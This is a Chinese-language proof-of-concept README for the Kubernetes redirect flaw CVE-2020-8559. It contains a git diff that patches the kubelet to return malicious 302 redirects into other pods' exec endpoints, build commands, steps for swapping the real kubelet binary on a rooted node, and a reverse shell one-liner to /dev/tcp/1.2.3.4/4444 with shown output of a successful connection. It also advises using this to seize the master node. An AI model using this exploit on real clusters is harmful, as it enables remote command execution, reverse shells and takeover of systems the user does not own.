这仅供演示之用。仅可用于您被授权执行管理操作并有权利用 CVE-2020-8559 的系统上
这是针对 CVE-2020-8559 的 PoC。该漏洞允许已在某个节点上获得 root 权限的攻击者在集群中的任意其他容器中执行命令,从而让攻击者能够接管 Kubernetes 主节点。
该漏洞的产生原因在于,Kubernetes API Server 和 kubectl 命令会跟随 HTTP 重定向,再加上 Kubernetes API 会将 API 请求的所有组成部分都放入 URL 中,即节点名称、Pod 名称、容器名称,甚至命令本身。因此,如果 kubelet 进程对 /exec、/attach、/portforward 或任何 resource: proxy 操作,以带有 Location 头的 HTTP 302 重定向作为响应,且该 Location 头指示要在不同节点上的不同容器中执行另一条命令,那么 Kubernetes API Server 或 kubectl 命令就会愉快地对 Location 头中的任何内容发起新的请求。
您可以下载我 fork 的 Kubernetes 版本,并切换到我的分支来构建漏洞利用所需的 kubelet 二进制文件。
此分支基于 v1.15.9 标签。
git clone -b CVE-2020-8559 --single-branch [email protected]:tdwyer/kubernetes.git
diff --git a/pkg/kubelet/server/server.go b/pkg/kubelet/server/server.go
index c1f1975fe43..8459802755e 100644
--- a/pkg/kubelet/server/server.go
+++ b/pkg/kubelet/server/server.go
@@ -867,6 +867,28 @@ func (s *Server) ServeHTTP(w http.ResponseWriter, req *http.Request) {
method, path := req.Method, trimURLPath(req.URL.Path)
+ ////
+ ////
+ // If path is vulnerable to CVE-2020-8559 send 302 redirect with malicious Location header
+ ////
+ ////
+ protocol := "https"
+ // If attacking requests from admins using the kubectl command
+ // host == hostname of the Kubernetes API server obtained from `kubectl -v 8 get pods`
+ // If attacing the Kubernetes API Server
+ // host == hostname of the Node the Victim container is running on
+ host := "internal-api-123456-123456789.us-west-2.elb.amazonaws.com"
+ namespace := "kube-system"
+ pod := "kcd-7cfbb97c64-p4kf2"
+ container := "kcd"
+ command := "hostname"
+ if strings.Contains(req.URL.Path, "/exec") || strings.Contains(req.URL.Path, "/attach") || strings.Contains(req.URL.Path, "/portforward") {
+ fmt.Println("--------------------------------------------------------------")
+ fmt.Println("Sending Redirect")
+ fmt.Println("--------------------------------------------------------------")
+ http.Redirect(w, req, protocol+"://"+host+"/api/v1/namespaces/"+namespace+"/pods/"+pod+"/exec?command="+command+"&container="+container+"&stderr=true&stdout=true", 302)
+ }
+
longRunning := strconv.FormatBool(isLongRunningRequest(path))
servermetrics.HTTPRequests.WithLabelValues(method, path, serverType, longRunning).Inc()
此 PoC 只会发送带有硬编码 Location 头的 302 HTTP 重定向,因此您需要编辑 kubernetes/pkg/kubelet/server/server.go,并更新 host、namespace、pod、container 和 command
ProTip: 列出集群中的所有 Pod。然后,将其配置为在 Kubernetes 主节点上运行的 Pod 上执行命令,以便启动一个反弹 shell 回到您的机器,从而接管集群。
配置好攻击后,构建一个恶意的 kubelet 二进制文件
cd ~/go/src/k8s.io/kubernetes
GO111MODULE=on go mod download
cd ~/go/src/k8s.io/kubernetes/cmd/kubelet
go build
root 权限kubelet 二进制文件复制到该节点kubelet 进程,并用恶意二进制文件覆盖原二进制文件kubelet 进程的 PIDps aux |grep kubeletkubelet 进程并将恶意二进制文件复制到相应位置sudo kill $PID ; sudo cp kubelet /usr/local/bin/kubeletkubelet 进程,以便它使用恶意二进制文件重新启动kubelet 进程的 PIDps aux |grep kubeletkubelet 进程sudo kill $PIDkubectl 命令的管理员,则此命令应返回受害者容器的主机名,而不是本应在其中执行命令的容器的主机名[0038][tdwyer@tdwyer-nuc:~/CVE-2020-8559]$ kubectl exec attacker-5cf89b94db-xdbfm -- date
kcd-7cfbb97c64-p4kf2
您还可以从任何容器启动一个反弹 shell 回到您的机器:
nc -lv 4444/bin/sh -i >& /dev/tcp/1.2.3.4/4444 0>&1成功 :D
[1617][tdwyer@tdwyer-nuc:~]$ nc -lvk 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 9.8.7.6.in-addr.arpa 46828 received!
bash-5.0#